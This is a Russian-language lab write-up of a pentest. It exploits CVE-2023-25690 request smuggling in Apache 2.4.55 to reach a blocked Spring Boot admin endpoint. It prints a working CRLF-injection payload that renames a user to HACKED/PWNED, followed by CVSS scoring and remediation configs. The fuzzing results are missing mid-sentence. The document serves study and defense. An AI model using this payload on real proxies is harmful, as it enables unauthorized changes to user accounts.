
Лаборатория HTTP Request Smuggling: Apache 2.4.55 CRLF injection
| Компонент | Роль | Версия |
|---|---|---|
| Apache HTTP Server | Обратный прокси | 2.4.55 (уязвимый) |
| Spring Boot (встроенный Tomcat) | Backend API | 4.x (Java 21) |
| SQLite | База данных | — |
Пользователь ──► Apache :80 (Прокси) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: неочищенные CRLF
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> заблокирован
POST /public/register: позволяет регистрировать пользователей в базе данных
POST /public/login: позволяет выполнить вход через проверку учётных данных и выдаёт токен сессии
GET /public/dashboard: приватная область пользователей
GET /api/status: принимает параметр «name» — пример endpoint'а для проверки состояния сервисов
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: теоретически недоступный публике маршрут, позволяющий администраторам изменять данные пользователей
В ходе пентеста была выявлена критическая уязвимость в инфраструктуре обратного прокси, раскрывающая бэкенд Spring Boot. Прокси-сервер Apache HTTP Server версии 2.4.55 подвержен уязвимости CVE-2023-25690 (HTTP Request Smuggling), которая позволяет атакующему обойти фильтры безопасности, установленные на прокси, и напрямую обратиться к незащищённым внутренним административным endpoint'ам.
Атака использует отсутствие очистки управляющих символов (CRLF) в RewriteRule Apache, позволяя внедрить второй HTTP-запрос среди параметров легитимного запроса к бэкенду. PoC продемонстрировал несанкционированное изменение учётных данных пользователя в базе данных через endpoint /admin/edit/{id}/{newName}/{newPass}, теоретически защищённый ACL прокси.
Рекомендации: Немедленно обновить Apache HTTP Server до версии ≥ 2.4.56, усилить фильтры безопасности на прокси и внедрить уровень безопасности на стороне бэкенда (Spring Security) для всех чувствительных endpoint'ов.
Определение версии Apache путём анализа HTTP-заголовков ответа.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Результат: Заголовок Server раскрывает Apache/2.4.55. Поиск в базе CVE → соответствует CVE-2023-25690.
Согласно CVE, в этой версии Apache, если присутствует RewriteRule, копирующая в целевой URL бэкенда произвольные символы из запроса к прокси, переданный текст не очищается, поэтому проходят и управляющие символы (такие как переводы строк).
Например: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P означает режим прокси
Итак, теперь наша цель — обнаружить возможный endpoint, выполняющий такую передачу на уровне прокси.
Анализ ответов и поведения приложения показывает, что сессия управляется через JSESSIONID, что подтверждает использование Java Servlet Container (например, Apache Tomcat, Jetty или WildFly). Кроме того, запрос к несуществующим endpoint'ам возвращает "Whitelabel Error Page", что указывает на использование Spring Boot в бэкенде.
С помощью bash-скрипта для автоматизации словарного фаззинга были картографированы все доступные в сети endpoint'ы (предположительно все).
Результат:
Так как
возвращают одинаковый ответ, становится понятно, что они указывают на один и тот же endpoint бэкенда. Кроме того, запросы типа /service/x/y/z (которые, скорее всего, не существуют) не возвращают 404, что позволяет предположить, что исходный endpoint принимает параметр, а не переменную пути. Таким образом можно сделать вывод, что запросы к /service/<service> преобразуются с помощью RewriteRule для бэкенда Spring Boot (именно то, что мы искали). Теперь нужно понять, является ли эта RewriteRule фиктивной (т.е. использует regex типа .*) или она хорошо структурирована.
Пробуем вставить в запрос управляющие символы, чтобы разделить легитимное содержание и скрытое:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.
Я добавил пользовательский параметр, чтобы проверить, правильно ли интерпретируются CRLF
trash_header предназначен для инкапсуляции заголовков, которые Apache добавит в запрос к бэкенду (таким образом они будут интерпретированы как обычный текст заголовка X-Header и не будут иметь значения для HTTP-запроса)
С помощью tcpdump в контейнере бэкенда я смог перехватить HTTP-запрос, пришедший от Apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Бэкенд видит следующий запрос:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
«Управляющие символы сработали»
Ответ показывает, что часть с управляющими символами прошла как структура самого HTTP-запроса, а не просто как параметр (поскольку имя, перехваченное бэкендом, — только 'x'). Таким образом, мы навязали формат HTTP-запроса к бэкенду, и прокси его принял. Это открывает путь к настоящей полезной нагрузке для smuggling.
Заставить обратный прокси Apache направить два отдельных запроса к бэкенду Spring Boot, так чтобы второй запрос достиг endpoint'а /admin/edit/, обходя фильтр ACL Apache.
На этом этапе представим, что localhost и spring-backend — это соответственно публичные адреса прокси и сервера. Если прокси и бэкенд находятся в одной сети (или организации), spring-backend будет частным IP (который, к сожалению, трудно узнать).
Уязвимость кроется в RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
Прокси захватывает пользовательский ввод в $1 и вставляет его в строку запроса без очистки управляющих символов (%20, %0d%0a). Бэкенд (Tomcat) интерпретирует эти символы как завершение URL и начало нового HTTP-запроса на том же TCP-сокете.
A) GET /service/x → Легитимная часть; всё, что после /service/
попадает в $1 (параметр name)
B) %20HTTP/1.1 → [Точка разделения] Пробел, преждевременно
закрывающий URL в бэкенде
C) %0d%0aHost:...%0d%0a%0d%0a → [Инъекция заголовков] CRLF для завершения
первого запроса
D) POST /admin/edit/1/HACKED/PWNED → [Скрытый запрос] Вредоносный запрос,
спрятанный в сторону endpoint'а admin
E) %20HTTP/1.1 → Версия HTTP для второго запроса
F) %0d%0aContent-Length:%200 → Пустое тело для POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Поглотитель заголовков] Поглощает заголовки,
добавляемые автоматически Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Что Apache видит (один запрос):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
Что бэкенд получает (два запроса на том же сокете):
--- Запрос 1 (легитимный, но «искалеченный») ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Запрос 2 (скрытый) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.
Пользователь с ID 1 переименован в HACKED с паролем PWNED — полный обход ACL прокси.
Прямой доступ к базе данных для подтверждения:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Описание |
|---|---|
| CVE-2023-25690 | HTTP Request Smuggling в Apache HTTP Server через mod_proxy с RewriteRule/ProxyPassMatch |
| CWE-444 | Несогласованная интерпретация HTTP-запросов ('HTTP Request/Response Smuggling') |
| CWE-113 | Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках ('HTTP Response Splitting') |
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Базовый балл: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Временной балл: 9.3 (HIGH)
Экологический балл: 8.0 (HIGH)
Векторная строка: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Общий балл: 8.0 — HIGH
Добавьте RewriteCond, которая блокирует запросы, содержащие управляющие символы (пробел, CR, LF) в REQUEST_URI:
<VirtualHost *:80>
ServerName localhost
RewriteEngine on
# БЛОКИРОВКА УПРАВЛЯЮЩИХ СИМВОЛОВ
RewriteCond %{REQUEST_URI} [\s\r\n]
RewriteRule ^ - [F,L]
# Существующие правила
RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
ProxyPassReverse "/public/" "http://spring-backend:8080/public/"
<Location "/admin">
Require all denied
</Location>
</VirtualHost>
F (Forbidden): Немедленно возвращает ошибку 403L (Last): Прекращает обработку последующих правилОбновить Apache HTTP Server до версии ≥ 2.4.56, где очистка управляющих символов в RewriteRule с флагом [P] принудительно включена на уровне ядра сервера.
| Текущая версия | Целевая версия | Исправление |
|---|---|---|
| 2.4.55 | 2.4.56+ | Автоматическая очистка CRLF в mod_proxy |
Добавьте spring-boot-starter-security в pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Настройте SecurityFilterChain, защищающий административные endpoint'ы:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Добавьте проверки на все параметры, принимаемые endpoint'ами (строка запроса, переменные пути, данные формы):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Проверка, что пользователь имеет роль ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Доступ запрещён";
}
// ... операция разрешена только после проверки аутентификации
}
| Endpoint | HTTP-код | Метод | Параметры |
|---|
| admin | 403 | GET | (без параметров) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (без параметров) |
| public/logout | 200 | GET | (без параметров) |
| api/status | 200 | GET | (без параметров) |
| service/* | 200 | GET | (без параметров) |
| Endpoint | Метод | Доступ | Примечания |
|---|
/public/register | POST | Публичный | Регистрация пользователя |
/public/login | POST | Публичный | Вход, выдача JSESSIONID |
/public/dashboard | GET | Аутентифицирован | Приватная область |
/public/logout | GET | Публичный | Уничтожение сессии |
/api/status?name= | GET | Публичный | Health check |
/service/{param} | GET | Публичный | Уязвимый шлюз ($1 в строке запроса) |
/admin/edit/{id}/{n}/{p} | POST | Защищён (ACL) | Изменение учётных данных пользователя |
/admin/ | * | Заблокирован (403) | ACL Apache |
| Метрика | Значение | Описание |
|---|
| Вектор атаки (AV) | N (Сеть) | Доступен удалённо по сети |
| Сложность атаки (AC) | L (Низкая) | Нет специальных условий |
| Необходимые привилегии (PR) | N (Нет) | Аутентификация не требуется |
| Взаимодействие с пользователем (UI) | N (Нет) | Не требует взаимодействия жертвы |
| Область действия (S) | C (Изменена) | Уязвимый компонент отличается от поражённого |
| Конфиденциальность (C) | H (Высокая) | Доступ к защищённым endpoint'ам |
| Целостность (I) | H (Высокая) | Изменение данных пользователя в БД |
| Доступность (A) | H (Высокая) | Возможно отравление кэша прокси / загрязнение сокетов |
| Метрика | Значение | Описание |
|---|
| Зрелость эксплойта (E) | F (Существует функциональный эксплойт) | Работающий эксплойт |
| Уровень исправления (RL) | O (Официальное исправление) | В более поздних версиях Apache ошибка исправлена |
| Достоверность отчёта (RC) | C (Подтверждена) | Уязвимость подтверждена и задокументирована |
| Метрика | Значение | Описание |
|---|
| Вектор атаки (MAV) | N (Сеть) | Прокси доступен из интернета |
| Сложность атаки (MAC) | H (Высокая) | Требуется знание структуры внутренних endpoint'ов |
| Необходимые привилегии (MPR) | L (Низкие) | Не требуются никакие привилегии |
| Взаимодействие с пользователем (MUI) | N (Нет) | Не требуется взаимодействие внешних пользователей |
| Область действия (MS) | C (Изменена) | Одна система нарушается через другую |
| Метрики воздействия (MC/MI/MA) | H/H/H | Максимальный ущерб (изменение данных в БД) |
| Требования CIA (CR/IR/AR) | H/H/H | Критическая система (вход пользователей) |